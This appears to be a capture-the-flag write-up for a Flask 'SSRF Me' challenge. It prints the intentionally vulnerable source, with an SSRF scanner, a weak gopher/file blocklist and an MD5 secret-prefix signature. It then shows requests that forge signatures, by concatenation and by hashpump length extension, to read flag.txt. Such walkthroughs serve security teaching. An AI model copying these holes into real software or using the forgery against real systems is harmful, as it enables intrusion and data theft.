Copy from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload (sys)
sys . setdefaultencoding ( 'latin1' )
app = Flask ( __name__ )
secert_key = os . urandom ( 16 )
class Task :
def __init__ ( self , action , param , sign , ip ):
self . action = action
self . param = param
self . sign = sign
self . sandbox = md5 (ip)
if ( not os . path . exists (self.sandbox) ) : #SandBox For Remote_Addr
os . mkdir (self.sandbox)
def Exec ( self ):
result = {}
result [ 'code' ] = 500
if (self . checkSign () ) :
if "scan" in self . action :
tmpfile = open ( "./ %s /result.txt" % self.sandbox, 'w' )
resp = scan (self.param)
if (resp == "Connection Timeout" ) :
result [ 'data' ] = resp
else :
print resp
tmpfile . write (resp)
tmpfile . close ()
result [ 'code' ] = 200
if "read" in self . action :
f = open ( "./ %s /result.txt" % self.sandbox, 'r' )
result [ 'code' ] = 200
result [ 'data' ] = f . read ()
if result [ 'code' ] == 500 :
result [ 'data' ] = "Action Error"
else :
result [ 'code' ] = 500
result [ 'msg' ] = "Sign Error"
return result
def checkSign ( self ):
if ( getSign (self.action, self.param) == self . sign) :
return True
else :
return False #generate Sign For Action Scan.
@app . route ( "/geneSign" , methods = [ 'GET' , 'POST' ])
def geneSign ():
param = urllib . unquote (request.args. get ( "param" , "" )) # 将 param 的参数解码为原始的字符串形式,若为空则为空字符串
action = "scan"
return getSign (action, param)
@app . route ( '/De1ta' ,methods = [ 'GET' , 'POST' ])
def challenge ():
action = urllib . unquote (request.cookies. get ( "action" ))
param = urllib . unquote (request.args. get ( "param" , "" ))
sign = urllib . unquote (request.cookies. get ( "sign" ))
ip = request . remote_addr
if ( waf (param) ) :
return "No Hacker!!!!"
task = Task (action, param, sign, ip)
return json . dumps (task. Exec ())
@app . route ( '/' )
def index ():
return open ( "code.txt" , "r" ). read ()
def scan ( param ):
socket . setdefaulttimeout ( 1 )
try :
return urllib . urlopen (param). read () [ : 50 ] # 只返回URL内容的前50个字符
except :
return "Connection Timeout"
def getSign ( action , param ):
return hashlib . md5 (secert_key + param + action). hexdigest ()
def md5 ( content ):
return hashlib . md5 (content). hexdigest ()
def waf ( param ):
check = param . strip (). lower ()
if check . startswith ( "gopher" ) or check . startswith ( "file" ):
return True
else :
return False
if __name__ == '__main__' :
app . debug = False
app . run (host = '0.0.0.0' ,port = 80 )
Copy /geneSign?param=flag.txtread
Copy 278aeedb3970f05c3fef9a85aaf08244
Copy [GET]param=flag.txt
[Cookie]action=readscan;sign=278aeedb3970f05c3fef9a85aaf08244
Copy a62c5d4965f4123788ba12dceef01014
Copy $ hashpump
Input Signature: a62c5d4965f4123788ba12dceef01014
Input Data: scan
Input Key Length: 24
Input Data to Add: read
c151ad5274e2e828bc2eb58f76e2a506
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
Copy [GET]param=flag.txt
[Cookie]sign=c151ad5274e2e828bc2eb58f76e2a506;action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read